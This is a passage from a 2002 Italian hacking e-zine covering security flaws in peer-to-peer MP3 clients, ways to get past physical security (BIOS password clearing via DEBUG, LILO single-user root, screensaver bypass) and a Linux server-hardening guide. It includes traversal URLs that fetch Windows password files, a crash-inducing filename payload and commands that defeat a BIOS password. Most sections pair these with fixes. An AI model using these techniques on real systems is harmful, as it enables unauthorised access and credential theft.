| Sono i file delle password di Windows e possono contenere la password |
| utilizzata dall'utente in formato criptato (a volte la password e' |
| rappresentata da stringa vuota), possono essere facilmente crackati con |
| un brute force attack grazie alla debolezza dell'algoritmo di |
| criptazione. |
| |
| User.dat: |
| Rappresenta la sede del registro di configurazione di Windows e contiene |
| molte delle password utilizzate dal sistema tra cui quelle di |
| connessione a internet, l'applicazione regedit ne consente la |
| navigazione attraverso il complesso albero di directory. |
| |
| Mp3server.ini: |
| File generato da Mp3Mystic stesso, contiene la password di |
| amministrazione del programma in testo in chiaro :) |
| |
| |
| ----------- Mp3server.ini ----------- |
| |
| [admin] |
| RegCode= |
| user=username |
| pass=password |
| RequirePW=0 |
| AccessUser= |
| AccessPW= |
| |
| .... |
| |
| ----------- Mp3server.ini ----------- |
| |
| Un possibile scenario di attacco puo' essere rappresentato da quanto |
| segue: |
| |
| 1) http://127.0.0.1/../windows/system.ini |
| l'attacker scarica il system.ini dal sistema remoto utilizzando il path |
| malizioso, da tale file e' in grado di risalire al path dei file pwl |
| presenti nel sistema. |
| |
| 2) http://127.0.0.1/../windows/user.pwl |
| l'attacker preleva il file contenente la password criptata dell'user |
| remoto. |
| |
| 2.3 Log file |
| Ogni trasferimento sara' loggato dal web server compreso l'ip |
| dell'attacker, le voci relative ai log sono memorizzate nel file |
| Mp3server.log, i lamer sono avvisati :) |
| Ecco come appare una voce di tale file: |
| |
| 13/12/01|13.49.27|127.0.0.1|\file.mp3 |
| |
| 2.4 Fix |
| Tale problema e' stato fixato dalla versione 1.04b3 di Mp3Mystic, |
| scaricate sempre la versione piu' aggiornata del programma in modo da |
| prevenire le vulnerabilita' conosciute. |
| |
| 3. Gnutella |
| Gnut e' un client per Linux che permette la condivisione di file mp3 con |
| altri utenti della rete, lavora da console e implementa il protocollo |
| utilizzato dagli altri client Gnutella. |
| |
| 3.1 HTML Tags Vulnerability |
| A differenza dei suoi colleghi questo client e' afflitto da un bug che |
| permette ad un attacker di manipolare i nomi dei propri file inserendo |
| dei tag html nascosti al fine di causare l'elaborazione di codice |
| malizioso da parte di utenti remoti. |
| |
| 3.2 Exploit |
| Inizialmente ero indeciso se rilasciare degli esempi pratici di utilizzo |
| di tale bug, mi affido al vostro buon senso sperando che nessuno abusi |
| di quanto verra' descritto in seguito... |
| |
| Per provare questa vulnerabilita' in locale ho generato un file mp3 dal |
| nome: |
| |
| Song<meta http-equiv="REFRESH" content="3; URL=file:\\\c:\con\con">.mp3 |
| |
| Questo nome file contiene al suo interno un meta tag che causa il crash |
| di ogni sistema Windows9x in cui tale file compaia all'interno dei |
| risultati della propria ricerca e che utilizzi un client vulnerabile per |
| accedere alla visualizzazione (esempio Internet Explorer non patchato |
| contro il dos device in path name). |
| |
| Le possibilita' di generare altri file che sfruttino tale vulnerabilita' |
| e' limitata solo dai caratteri consentiti nei nomi di file dal vostro |
| sistema operativo, tutto sta alla vostra fantasia. |
| |
| 3.3 Fix |
| Il problema e' stato fixato dalla versione 0.4.26 in poi del programma |
| Gnut per Linux, aggiornate regolarmente il vostro software e scaricate |
| la versione piu' recente disponibile al momento per il programma. |
| |
| 4. Audiogalaxy |
| Il software al momento piu' utilizzato per la condivisione dei file mp3 |
| in rete, e' composto da un'interfaccia web based un po' meno intuitiva |
| rispetto ai programmi analizzati in precedenza ma offre un panorama di |
| canzoni sicuramente superiore ad ogni altro clone. |
| |
| 4.1 Clear Text Password |
| L'applicazione conserva i dati atti al login sotto forma di testo in |
| chiaro, permettendo ad un eventuale attacker di entrare in possesso di |
| password che potrebbero rappresentare un pericolo per l'integrita' del |
| sistema stesso. La malsana abitudine di molti utenti nell'utilizzare la |
| medesima password per molteplici applicazioni amplifica il fattore di |
| rischio. |
| |
| (Tratto dal README di Audiogalaxy Linux version 0.520) |
| Linux users must create account.txt and shares.txt in their favorite |
| text editor before the Satellite will run. The format of account.txt is |
| simply email that you used to create an account from the web site on the |
| first line. The second line will be your password |
| >account.txt |
| email |
| password |
| |
| 4.2 Exploit |
| E' possibile utilizzare un exploit sul sistema che monta una versione |
| vulnerabile di Audiogalaxy al fine di ottenere i permessi necessari per |
| prelevare il file account.txt. |
| |
| 4.3 Fix |
| La vulnerabilita' relativa alla versione Win32 del client e' stata |
| fissata dalla versione .601W in poi, mentre la versione del client per |
| Linux 0.520 (la piu' recente disponibile al momento) resta tutt'ora |
| vulnerabile. |
| Per limitare il piu' possibile i rischi derivanti dall'uso di tale |
| applicazione e' buona regola restringere i permessi associati al file |
| account.txt limitandone il solo accesso all'utente root. |
| Utilizzare, inoltre, tale password unicamente per Audiogalaxy in modo da |
| circoscrivere il problema alla sola applicazione a rischio. |
| |
| 5. Napster |
| Nap e' un client che permette la condivisione di file mp3 con il resto |
| della rete, la versione 1.4.4 in particolare presenta una vulnerabilita' |
| che risulta al momento fissata. |
| Non mi e' stato possibile in alcun modo testare o approfondire tale |
| vulnerabilita' a causa della mancata compatibilita' del client di |
| vecchia versione con il protocollo utilizzato attualmente sul lato |
| server, per tanto mi limitero' a riportare le informazioni reperibili su |
| Bugtraq. La funzione sendpack() e' vulnerabile ad un attacco string |
| format che permetterebbe ad un eventuale attacker di ideare un file name |
| appositamente studiato al fine di guadagnare l'accesso al sistema |
| remoto. |
| |
| 5.1 String Format Attack |
| E' possibile sfruttare tale vulnerabilita', dovuta ad un'errata |
| dichiarazione della funzione sendpack(), ideando un file name che |
| contenga al suo interno uno o piu' caratteri % al fine di alterare la |
| normale esecuzione del processo, in tal modo e' possibile accedere allo |
| stack associato al fine di reperire i dati relativi al login. |
| La funzione incriminata viene richiamata ogni qual volta il programma |
| client voglia fornire il database dei file condivisi al server Napster |
| remoto. In tal modo al successivo avvio (durante il refresh del |
| database) il client che dovesse aver ricevuto un file malizioso |
| eseguira' il codice nascosto all'interno dello stesso. |
| |
| 5.2 Bugtraq Post |
| Riporto qui di seguito il post originale comparso su Bugtraq: |
| |
| [NdR: Vedi allegato 0x09] |
| |
| 5.3 Fix |
| Il problema e' stato fissato dalla versione immediatamente successiva |
| alla 1.4.4, e' possibile fare riferimento al ChangeLog per maggiori |
| informazioni, ne riporto qui di seguito una parte: |
| |
| "(2001/01/20) PS1 - fixed a security bug (string format attack): |
| calls to sendpack(a, b, c), where c is not a constant string, |
| must be replaced by sendpack(a, b, "%s", c). This is because in |
| some contexts, c may contain arbitrary data (such as filenames), |
| and by embedding '%' characters in c, a cracker could gain |
| access to any data on this process's evaluation stack, including |
| passwords etc. I found this bug in a posting by gregory duchemin |
| <c3rb3r@HOTMAIL.COM> to BUGTRAQ@SECURITYFOCUS.COM, archived at |
| http://www.shmoo.com/mail/bugtraq/sep00/msg00942.shtml." |
| |
| 6. Morpheus |
| Sono state riscontrate alcune falle nella sicurezza di questo programma |
| che permettono un attacco di tipo denial of service atto a consumare la |
| banda della vittima, l'applicazione non fornisce alcuna funzione di log |
| al fine di riscontrare tali violazioni. |
| Inoltre permette ad un utente di reperire informazioni agendo da una |
| postazione remota. |
| |
| 6.1 Denial of Service |
| Una volta avviato il programma di sharing verra' posta in listening la |
| porta 1214, Morpheus non offre alcun controllo per quanto riguarda il |
| numero simultaneo di richieste remote, questo permette ad un attacker di |
| occupare l'intera banda della vittima con traffico superfluo. |
| Potete trovare il sorgente dell'exploit su Packet Storm |
| (http://www.packetstormsecurity.org), il nome dello script e' "km.pl". |
| |
| 6.2 Client Information |
| Il client remoto rivela informazioni sensibili riguardo l'utente. |
| E' possibile ricavare tali informazioni telnettandosi all'host sulla |
| porta 1214 e fornendo come input la seguente stringa: |
| |
| GET HTTP/1.0 |
| |
| l'output fornira' diverse informazioni sul programma server tra cui |
| l'username dell'utente remoto. |
| |
| 6.3 Fix |
| Il problema al momento non e' ancora stato fissato, e' consigliabile |
| l'uso di un firewall per negare l'accesso alla porta 1214 agli utenti |
| indesiderati. In questo caso specifico agli utenti Windows torna utile |
| il Conseal PC Firewall che permette una gestione dinamica delle rules. |
| |
| 7. Risorse |
| Packet Storm www.packetstormsecurity.org |
| Bugtraq www.securityfocus.com |
| New Order www.neworder.box.sk |
| Audiogalaxy README |
| Nap ChangeLog |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #05 - 14/01/2002 |
| SiCUREZZA FiSiCA DEi SiSTEMi [E4zy] 0x07/0x23 |
+--------------------------------------------------------------------------+
| |
| Indice: |
| |
| 0. Intro |
| |
| 1. Remote Power up |
| 1.1 Requisiti |
| 1.2 Teoria |
| 1.3 Pratica |
| 1.4 Trucchi e suggerimenti |
| |
| 2. Invalidazione della CMOS |
| 2.1 Metodi hardware |
| 2.2 Metodi software |
| 2.3 Sequenza di boot |
| |
| 3. LILO |
| 3.1 Modalita' singola |
| 3.2 Opzione password
|
| 3.3 Opzione restricted |
| |
| 4. Blocco della console |
| 4.1 Windows screen saver |
| 4.2 Linux xlock |
| |
| 5. Risorse |
| |
| |
| 0. Intro |
| In questo articolo intendo illustrare le politiche di protezione che |
| vengono comunemente implementate per garantire la sicurezza di sistemi |
| che siano esposti fisicamente ad un rischio di intrusione. |
| |
| 1. Remote Power up |
| La celebre frase "un computer sicuro e' un computer spento" rappresenta |
| uno dei tanti miti da sfatare in campo di sicurezza informatica, |
| avvalendoci di un tool che permetta il packet forging(1) abbiamo la |
| possibilita' di assemblare un pacchetto in grado di adempiere a funzioni |
| a molti sconosciute, tra queste quella di forzare l'accensione di |
| determinate macchine agendo da una postazione remota. |
| |
| (1)packet forging: ci si riferisce in generale ad una tecnica che |
| permette di forgiare pacchetti ad hoc al fine di |
| adempiere ad uno scopo preciso |
| |
| 1.1 Requisiti |
| La scheda madre e il BIOS in dotazione sul sistema devono supportare il |
| protocollo di "wake-up" e tale opzione deve essere abilitata (sezione |
| Power Management nel BIOS Award), i BIOS Award di nuova generazione |
| offrono tale funzione. |
| La scheda di rete deve essere compatibile con tale protocollo, se e' |
| possibile rilevare la presenza di tensione sulla scheda anche a PC |
| spento e' probabile che la vostra periferica fornisca tale |
| funzionalita', molti dispositivi quali Hub segnalano la presenza di |
| tensione su una determinata porta mediante l'accensione di led luminosi |
| rendendo ancora piu' semplice tale verifica. |
| |
| 1.2 Teoria |
| E' possibile causare l'accensione di un PC remoto, requisiti permettendo |
| (vedi sopra), forgiando un pacchetto che rispecchi la seguente |
| struttura: |
| |
| [ethernet header][IP header][UDP header][Magic sequence][CRCS] |
| (dal README del programma Wakeonlan-0.40) |
| |
| dove il campo indicato come "Magic sequence" verra' assemblato con le |
| seguenti modalita': |
| |
| - un preambolo composto da 6 byte di FFh; |
| - almeno sedici ripetizione del MAC address del sistema destinatario; |
| |
| Mettiamo che il sistema che vogliamo avviare monti una scheda di rete il |
| cui indirizzo fisico e' 00:11:22:33:44:55, il campo "Magic sequence" |
| sara' cosi' |
| composto: |
| |
| FFFFFFFFFFFF001122334455001122334455001122334455001122334455 |
| 001122334455001122334455001122334455001122334455001122334455 |
| 001122334455001122334455001122334455001122334455001122334455 |
| 001122334455001122334455 |
| |
| L'interfaccia di rete a cui e' destinato il pacchetto sara' in grado di |
| ricevere e interpretare i byte del frame che causeranno l'avvio |
| incondizionato del sistema interessato. |
| |
| 1.3 Pratica |
| Per mettere in pratica quanto descritto ho utilizzato il tool |
| Wakeonlan-0.40 per Linux, ecco la sintassi fornita a run time dallo |
| script stesso: |
| |
| $ ./wakeonlan |
| Usage |
| wakeonlan [-h] [-v] [-i IP_address] [-p port] [-f file] |
| [[hardware_address] ...] |
| |
| Options |
| -h |
| this information |
| -v |
| dislpays the script version |
| -i ip_address |
| set the destination IP address |
| default: 255.255.255.255 (the limited broadcast address) |
| -p port |
| set the destination port |
| default: 9 (discard port) |
| -f file |
| uses file as a source of hardware addresses |
| |
| See also |
| wakelan(1) |
| |
| La rete su cui ho avuto modo di testare questo tool adottava BIOS Award |
| di ultima generazione e schede di rete Realtek 8139-series PCI NIC, |
| l'indirizzo IP del sistema destinatario era 192.168.1.36: |
| |
| $ ./wakeonlan -i 192.168.1.36 00:01:02:03:04:05 |
| Sending magic packet to 192.168.1.36:9 with 00:01:02:03:04:05 |
| |
| l'indirizzo MAC e' stato volutamente modificato con uno di fantasia. |
| |
| 1.4 Trucchi e suggerimenti |
| Per permettere l'avvio di tutti gli host facenti parte della rete locale |
| interessata si utilizzi l'indirizzo di broadcast della rete, esso varia |
| a seconda della classe di riferimento, per l'indirizzo di rete riservato |
| utilizzato in precedenza (192.168.0.0) l'indirizzo di broadcast |
| corrisponde a 192.168.255.255 |
| |
| E' possibile instradare un pacchetto verso un host che si trova su una |
| rete remota riferendosi all'indirizzo di broadcast della rete stessa, in |
| molti casi questo e' impedito dalla maggior parte dei router che non |
| instradano il traffico diretto all'indirizzo di broadcast. |
| In alternativa possiamo inviare tale pacchetto ad uno degli host attivi |
| sulla rete remota, causeremo l'accensione del sistema presente sul |
| medesimo segmento di rete il cui indirizzo MAC si trova all'interno del |
| nostro frame di wakeup. |
| |
| 2. Invalidazione della CMOS |
| Uno dei metodi piu' comuni consiste nel garantirsi in qualche maniera |
| l'accesso al BIOS al fine di manipolare la sequenza di boot del sistema, |
| molto spesso tale operazione viene impedita da una password. |
| |
| 2.1 Metodi hardware |
| Tale password e' conservata nella memoria CMOS della scheda madre, una |
| batteria permette la permanenza di tali dati nella memoria anche in |
| seguito allo spegnimento del sistema, uno dei metodi piu' vecchi |
| consiste nella rimozione della batteria della CMOS al fine di causare il |
| ripristino dei valori di fabbrica della stessa. |
| A mio parere tale metodo risulta quanto meno di difficile attuazione in |
| quanto necessita la rimozione del case il che rappresenta nella maggior |
| parte dei casi un buon deterrente. |
| |
| 2.2 Metodi software |
| Il seguente esempio e' tratto da un testo scritto da Elf Qrin |
| (http://www.ElfQrin.com), questa tecnica permette l'invalidazione |
| software del segmento di memoria della CMOS interessato, nel nostro caso |
| dell'area intesa alla memorizzazione della password del BIOS. |
| A tale scopo ci viene in aiuto il tool Debug di MS-DOS, una volta |
| avviato ci serviremo dell'opzione "O" per invalidare l'area di memoria, |
| tale procedura varia a seconda della versione del BIOS in vostro |
| possesso. Qui di seguito riporto alcuni esempi: |
| |
| |
| ---------------------------------------------------------- |
| | BIOS Award | BIOS Phoenix | BIOS generico | |
| |------------------|------------------|------------------| |
| | C:\>debug | C:\>debug | C:\>debug | |
| | -O 70 17 | -O 70 FF | -O 70 2E | |
| | -O 71 17 | -O 71 17 | -O 71 FF | |
| | -Q | -Q | -Q | |
| | | | | |
| |
| E' consigliabile effettuare tale operazione da MS-DOS puro, sempre che |
| le impostazioni permettano il reboot del sistema. |
| |
| 2.3 Sequenza di boot |
| Una volta aggirata tale protezione sara' possibile accedere alle |
| impostazione del BIOS e settare una differente sequenza di boot al fine |
| di bootare il sistema da un supporto differente (quale il floppy) e |
| accedere al filesystem del sistema senza dover sottostare alle |
| limitazioni imposte dai permessi. |
| Nel caso in cui il sistema in questione sia NT bastera' utilizzare un |
| disco di ripristino per bootare in ambiente MS-DOS, a questo punto e' |
| necessario utilizzare il driver NTFSDOS per accedere alle partizioni |
| NTFS(1) da MS-DOS e prelevare qualsiasi file compreso il SAM(2). |
| |
| (1)NTFS: e' il filesystem proprietario dei sistemi NT |
| (2)SAM: il database che contiene gli hash delle password di un sistema |
| NT, e' equivalente al file /etc/passwd (o /etc/shadow) in |
| ambiente Unix |
| |
| 3. LILO |
| Un'ulteriore sicurezza ci viene fornita da alcune opzioni che riguardano |
| il boot loader, queste impediscono il boot del sistema o eventualmente |
| richiedono l'inserimento della password per avviare l'immagine nel qual |
| caso si specifichino delle opzioni al prompt del programma LILO. |
| |
| 3.1 Modalita' singola |
| E' possibile infatti, avendo accesso fisico al sistema, fare uso di |
| opzioni quali "single" per avviare il sistema in modalita' singolo |
| utente ed ottenere la shell di root senza bisogno di dover specificare |
| password alcuna. |
| Ecco un esempio di quanto ho appena descritto: |
| |
| LILO boot: [tab] |
| linux |
| boot: linux single |
| Loading linux.... |
| |
| Dove linux e' il nome dell'immagine che si desidera avviare. |
| Per ovviare a tale problema sono state introdotte alcune opzioni che ci |
| vengono in aiuto e ci permettono di proteggerci da questo genere di |
| problemi. |
| |
| 3.2 Opzione password |
| Possiamo utilizzare tale opzione all'intero del file lilo.conf al fine |
| di impedire l'avvio dell'immagine a chi non sia in possesso della |
| password; basta aggiungere al file lilo.conf quanto segue: |
| |
| password=<password> |
| |
| Dove <password> e' una password scelta da voi. |
| Ricordate a questo punto di avviare /sbin/lilo per fare in modo che le |
| modifiche abbiano effetto. |
| |
| NOTA BENE: sarebbe una cosa alquanto stupida dare permessi in lettura al |
| file lilo.conf ad utenti che non siano root in quanto la password in |
| questione e' conservata senza alcuna criptazione :D Ecco come appare il |
| prompt del LILO in seguito alle modifiche apportate: |
| |
| LILO boot: |
| Password: |
| |
| 3.3 Opzione restricted |
| Questa opzione va utilizzata insieme all'opzione password e richiede |
| l'inserimento di una password nel caso in cui vengano specificate delle |
| opzioni al prompt di LILO, evitando in tal modo spiacevoli sorprese |
| dovute all'uso di opzioni quali "single" come descritto precedentemente |
| nel corso |
| dell'articolo. |
| Si aggiunga al file lilo.conf le righe seguenti: |
| |
| password=<password> |
| restricted |
| |
| Dove <password> e' una password scelta da voi. |
| Ancora una volta, prestate attenzione ai permessi del file lilo.conf, |
| date accesso in lettura solo e soltanto a root! |
| Infine avviare /sbin/lilo per fare in modo che le modifiche abbiano |
| effetto. |
| |
| 4. Blocco della console |
| Molto utile nel caso in cui l'utente manifesti il bisogno di abbandonare |
| momentaneamente la postazione di lavoro senza necessariamente fare |
| logout dal sistema. |
| |
| 4.1 Windows screen saver |
| Molti di voi avranno presente la password dello screen saver di Windows, |
| non fidatevi di tale applicazione (non fidatevi di Windows in generale |
| :)), e' possibile aggirare tale protezione semplicemente sfruttando |
| l'autorun nel caso in cui "Notifica inserimento automatico" sia attivo |
| su almeno uno dei lettoti CD-ROM del sistema (impostazione attiva per |
| default). |
| |
| *Vi rimando a un mio precedente articolo comparso su OQ02 - Autorun.inf* |
| |
| [...]Dobbiamo come prima cosa procurarci un programma in grado di |
| decifrare la password dello screensaver e disattivarlo automaticamente |
| ad esempio SS-Unlock (http://www.ips-corp.com) oppure SSBypass |
| reperibile al sito http://www.amecisco.com/ssbypass.htm. |
| A questo punto siamo pronti per masterizzare il nostro cd-rom che |
| conterra' nella directory radice il nostro programma e il file |
| autorun.inf alla cui voce "open=" sara' specificato il file da eseguire, |
| inseriamo il nostro cd-rom nel lettore del pc che desideriamo bypassare |
| e come per magia il programma presente sul cd-rom verra' eseguito |
| nonostante la presenza dello screensaver e disattivera' lo stesso |
| (questo funziona per qualsiasi sistema Windows9x, almeno che non sia |
| stata disattivata la voce relativa alla notifica inserimento |
| automatico). |
| |
| 4.2 Linux xlock |
| Si comporta analogamente alla password dello screen saver di Windows, |
| blocca momentaneamente l'account in modo da impedire ad un |
| malintenzionato di usufruire delle credenziale dell'utente. |
| Vi sono alcuni problemi legati all'uso di tale programma, in |
| particolare: |
| |
| - vulnerabilita' legate a buffer overflow locali; |
| - di default e' setuid root; |
| - puo' essere facilmente bypassato nel caso in cui non sia setuid root |
| a causa di un comportamento anomalo del programma stesso. |
| |
| Nel caso in cui xlock non abbia accesso al database shadowato delle |
| password, infatti, la sola pressione del tasto enter durante |
| l'esecuzione di xlock causera' l'immissione, da parte dello stesso, di |
| una stringa vuota all'interno di ~/.xlockrc che sara' considerata |
| password valida per lo sblocco di X. |
| Per diminuire i rischi dovuti all'uso di xlock e' bene prendere alcuni |
| accorgimenti, ovvero creare un gruppo xlock e dare i permessi di accesso |
| necessari al file /etc/shadow a tale gruppo, impostare il programma |
| setgid xlock che non e' altro che il nome del gruppo che abbiamo appena |
| creato, infine togliere il setuid root. |
| In questo modo circoscriviamo i problemi legati ad eventuali exploits |
| locali e evitiamo che xlock sia facilmente bypassabile. |
| |
| 5. Risorse |
| Security-HOWTO |
| Wakeonlan-0.40 README |
| How To Bypass BIOS Passwords by Elf Qrin (http://www.ElfQrin.com) |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #05 - 14/01/2002 |
| PR0TEGGiAM0 iL N0STR0 SERVER [-=Quequero=-] 0x08/0x23 |
+--------------------------------------------------------------------------+
| |
| Cerchiamo di rendere piu' sicuro il nostro server |
| |
| Sono pessimista? No, pero' sappiamo tutti che l'unico computer sicuro |
| e' quello spento e con la spina staccata, quindi.... |
| Il sistema sicuro non esiste, pero' esiste spesso un falso senso di |
| sicurezza che e' piu' dannoso di un sistema vulnerabile :) |
| Dopo queste perle di saggezza possiamo introdurre qualche buona tecnica |
| per aumentare il grado di sicurezza del nostro caro server :)))) |
| La prima scelta e' sicuramente il sistema operativo, scarterei |
| sicuramente windows in favore di un piu' stabile *BSD o di un piu' |
| versatile e comodo Linux, ma tutto e' dettato dalla priorita': se avete |
| bisogno di un server che sia stabile come il granito e che non si puo' |
| permettere di crashare dopo 2 mesi di uptime, beh, a quel punto OpenBSD |
| e FreeBSD (opportunamente patchati per evitare di essere rootati da |
| remoto tramite telnet :) faranno egregiamente il loro bel lavoro, se |
| invece potete permettervi un eventuale crash ogni due mesi, a quel |
| punto possiamo mirare su una comoda linux box. |
| Per quella poca esperienza che posso vantare, sceglierei una Slackware |
| o una Debian, se il vostro pc deve essere un server allora |
| probabilmente non avra' un grande workload e quindi tutti i dieci cd |
| bonus della RedHat sarebbero solo superflui, inoltre ricordate che piu' |
| e' il software installato sul pc, meno e' la sicurezza. |
| La prima cosa da fare e' installare una qualche distribuzione con il |
| minor numero di programmi possibile, quindi evitate tutte quelle cose |
| che possono sembrare carine ma che di fatto non usereste mai :), |
| evitate di installare sendmail e mettete su un bel postfix, per il |
| resto possiamo lasciare tutto cosi', poi upgraderemo in seguito. |
| Una volta messa su la nostra bella distribuzione dobbiamo fare due cose |
| fondamentali: aggiornare il kernel ad una versione stabile (ora siamo |
| alla 2.5.1 si presume quindi che il 2.4.x sia in fase di |
| stabilizzazione ma anche il 2.2.x e' davvero ottimo) e patcharlo con |
| qualcosa per aumentarne la sicurezza...Ma cosa? Ho trovato davvero |
| strabilianti la patch della grsecurity (grsecurity.net). Questo gruppo |
| ha riunito in un comodo file il lavoro svolto dai ragazzi della PaX e |
| quello svolto dai programmatori della OpenWall, l'autore ha anche |
| inserito ulteriori migliorie e dopo aver patchato il nostro kernel |
| avremo queste features in piu': |
| - Lo stack non sara' piu' eseguibile rendendo pertanto estremamente |
| difficili da portare a termine tutti i tentativi di Buffer Overflow (o |
| cmq andrebbero modificati gli exploit cosa che la maggior parte delle |
| persone non sa fare, oltretutto in condizioni _delicate_ non e' proprio |
| possibile modificare l'exploit senza minarne il corretto funzionamento) |
| - Non sara' possibile inserire codice esterno nella memoria in cui sta |
| girando un processo (il free exploit ad esempio) pertanto i propri |
| privilegi non potranno esser elevati tramite questa tecnica :) |
| - Insieme allo stack non eseguibile avremo anche il supporto per il |
| trampoline code e questo ci dara' un'ulteriore difesa |
| - La base degli indirizzi che alloca mmap sara' completamente random |
| quindi il sistema sara' ulteriormente difficile da exploitare anche |
| tramite address-guessing |
| - Si ha una comoda protezione verso le temp race conditions (youhuu :P) |
| - I PID sono randomizzati :) |
| - Tante restrizioni sull'accesso alle directory |
| - La macchina non risponde agli ICMP e gli OS Guessing sono |
| letteralmente impossibili... |
| ....Tanto altro, ma vi rimando al readme di questa splendida patch |
| perche' l'autore armato di buona voglia ha fatto anche tanti piccoli |
| esempi sicuramente utilissimi. |
| Una volta patchato il kernel siamo discretamente piu' sicuri...Ci resta |
| da prendere ancora qualche piccolo accorgimento. |
| Tanto per cominciare eliminiamo fisicamente telnet e telnetd dal |
| sistema, leviamo sendmail se l'avete messo :) togliamo tutti i bit suid |
| se non utilizziamo determinati programmi (ad esempio, lpd suid e' |
| inutile se non si usa lpd). |
| Mettiamo su la release piu' recente di OpenSSH/OpenSSL (mai utilizzare |
| versioni vecchie visto che sono quasi tutte vulnerabili anche se gli |
| exploit non sono released), installiamo un buon demone ftp (sempre se |
| ci serve), io opterei per un ProFTPd anche se le obiezioni potrebbero |
| essere tante. Tuteliamoci levando l'accesso anonymous a meno che non |
| vogliate metter su un server warez :) o un qualche mirror. |
| Disabilitiamo l'accesso remoto da root su tutte le console ad eccezione |
| della stty (se invece non avete bisogno di loggarvi come root da remoto |
| allora blindatele tutte) aprite /etc/login.defs (per le Slackware): |
| |
| # If defined, either full pathname of a file containing device names or |
| # a ":" delimited list of device names. Root logins will be |
| allowed only |
| # upon these devices. |
| # |
| # Inserite questa linea per consentire l'accesso root sulla stty |
| o commentatelo |
| # per disabilitarla |
| CONSOLE /etc/securetty |
| #CONSOLE console:tty01:tty02:tty03:tty04 |
| |
| Sempre smanettando su questo file, fate in modo che non venga mostrata |
| la versione del kernel al login, non e' molto, ma e' qualcosa :) |
| |
| Fatto questo passiamo alla configurazione del firewall, per kernel 2.4 |
| e superiori avremo iptables, una configurazione di base potrebbe |
| essere questa: |
| |
| iptables -A INPUT -i eth0 -p tcp -m state --state INVALID -j DROP |
| iptables -A INPUT -i eth0 -p udp -m state --state INVALID -j DROP |
| iptables -A INPUT -i eth0 -p tcp --syn -m limit 1/second -j ACCEPT |
| |
| Le prime due rules sono chiare, la terza invece serve per evitare i |
| synflood, ovvio che se dovete gestire 100.000 connessioni al giorno su |
| un grosso server allora non potete inserire l'ultima rule. |
| Se il vostro server non deve accettare connessioni dall'esterno potete |
| chiudere tutte le porte, se invece i vostri utenti sono limitati potete |
| configurare iptables per accettare solo determinate mask, al contrario, |
| se i vostri utenti sono molti, non potete far altro che limitare le |
| mask che NON vi piacciono :P, usare i programmi reputati _sicuri_, |
| utilizzare meno servizi possibili e limitare pesantemente i permessi di |
| accesso (la patch di grsecurity permette tra le tante cose, anche di |
| settare una ACL che e' comodissima dal momento che potete decidere |
| anche quanta memoria puo' utilizzare per i propri processi un singolo |
| utente, cosi da evitare fork bomb). |
| Blindate ovviamente la porta delle RPC (111 per chi non lo sapesse) e |
| commentate tutto cio' che non vi serve in /etc/inetd.conf (ftp ed altre |
| cose e' meglio che le fate partire come standalone). |
| Un'ottima idea e' quella di metter su snort (www.snort.org) e |
| configurarlo in modo da sniffare tutte le stringhe _caratteristiche_ |
| degli exploit (lo shellcode ad esempio). |
| Mentre verso l'interno della LAN io metterei uno sniffer tipo ettercap |
| (ciao ALoR :)) che ci consente rapidamente di vedere tutto cio' che |
| puo' essere anomalo. |
| Se avete fatto tutto come descritto, ora dovreste avere uno sistema |
| cosi configurato: |
| Kernel Patchato, servizi opportunamente filtrati, sniffer verso la rete |
| internet e verso l'interno, possibilita' limitata di login root su |
| console....Vi pare abbastanza? |
| Io dico di no, possiamo fare di meglio, innanzitutto dobbiamo loggare |
| tutto quello che avviene sul nostro sistema, opterei per un clone del |
| syslog come ad esempio syslog-ng che mi e' sembrato davvero buono, se |
| proprio siete paranoici fate come me, mi sono fatto uno scriptino che |
| ogni due tre ore mi critta i log cosi' li leggo e li modifico solo |
| io :) |
| Loggate pesantemente l'attivita' su tutti i servizi piu' usati (come |
| ftp) magari utilizzando anche semplicemente iptables in questo modo: |
| |
| iptables -A INPUT -p tcp -s ! 10.0.0.0/24 --dport 21 -j LOG |
| --log-prefix "FTP TCP Access Attempt!" |
| |
| Dove 10.0.0.0/24 e' la nostra lan, questa rule logga tutti gli accessi |
| su ftp, guardate un esempio sulla mia macchina: |
| |
| Dec 26 11:48:21 xxxxx kernel: FTP TCP Access Attempt! IN=ppp0 OUT= MAC= |
| SRC=203.78.94.131 DST=xx.xxx.xx.xxx LEN=40 TOS=0x00 PREC=0x00 TTL=51 |
| ID=9927 PROTO=TCP SPT=49853 DPT=21 WINDOW=4096 RES=0x00 SYN URGP=0 |
| |
| Nel caso invece si logghi una macchina della LAN, si ottiene qualcosa |
| come: |
| |
| Dec 26 21:34:09 xxxxx kernel: FTP Connection AttemptIN=eth0 OUT= |
| MAC=00:e0:3c:56:32:27:00:e0:3c:89:14:6b:05:00 SRC=10.0.0.9 DST=10.0.0.1 |
| LEN=48 TOS=0x00 PREC=0x00 TTL=128 ID=31415 DF PROTO=TCP SPT=1401 DPT=21 |
| WINDOW=16484 RES=0x00 SYN URGP=0 |
| |
| Questo ci da una panoramica globale su quello che avviene dentro e |
| fuori la rete, ora possiamo gia stare poco piu' tranquilli :). |
| Se proprio vi va, potete fare una cosa utilissima, i BSD ogni tot ore |
| mandano al root una mail con il report di tutti i file suid del |
| sistema, l'ideale sarebbe farsi un semplicissimo scriptino che ogni |
| 12-24 ore vi manda un report di tutti questi spostamenti su una casella |
| esterna (tipo yahoo o hotmail). |
| Un esempio potrebbe essere questo, fatto sul momento: |
| |
| ------------------8<---CUT HERE-----8<--------------------------- |
| #!/bin/sh |
| find / -type f \( -perm -04000 -o -perm -02000 \) -ls > /tmp/suid |
| md5sum /tmp/suid >> /tmp/suid |
| cat /tmp/suid | mail root |
| ------------------8<---CUT HERE-----8<--------------------------- |
| |
| Mettetelo nel cron ogni 12 ore e via.... :) |
| |
| E' stato fatto tutto il possibile per rendere sicuro il nostro |
| bel server? |
| Naaaa non credo proprio, in realta' si potrebbe fare qualcosa di |
| seriamente bello, ovvero rendere il nostro server un MAC (Mandatory |
| Access Control), e' un tipo di organizzazione utilizzato sui sistemi |
| militari, e' una soluzione un po' laboriosa ma e' davvero strastupenda, |
| credo che ne scrivero' presto un tutorial, quindi, antenne dritte |
| ragazzi :PPP |
| |
| Saludosssss |
| |
| -=Quequero=- |
| SpP/Member http://www.spippolatori.org |
| UIC Founder http://quequero.cjb.net |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [NETW0RKiNG] #05 - 14/01/2002 |
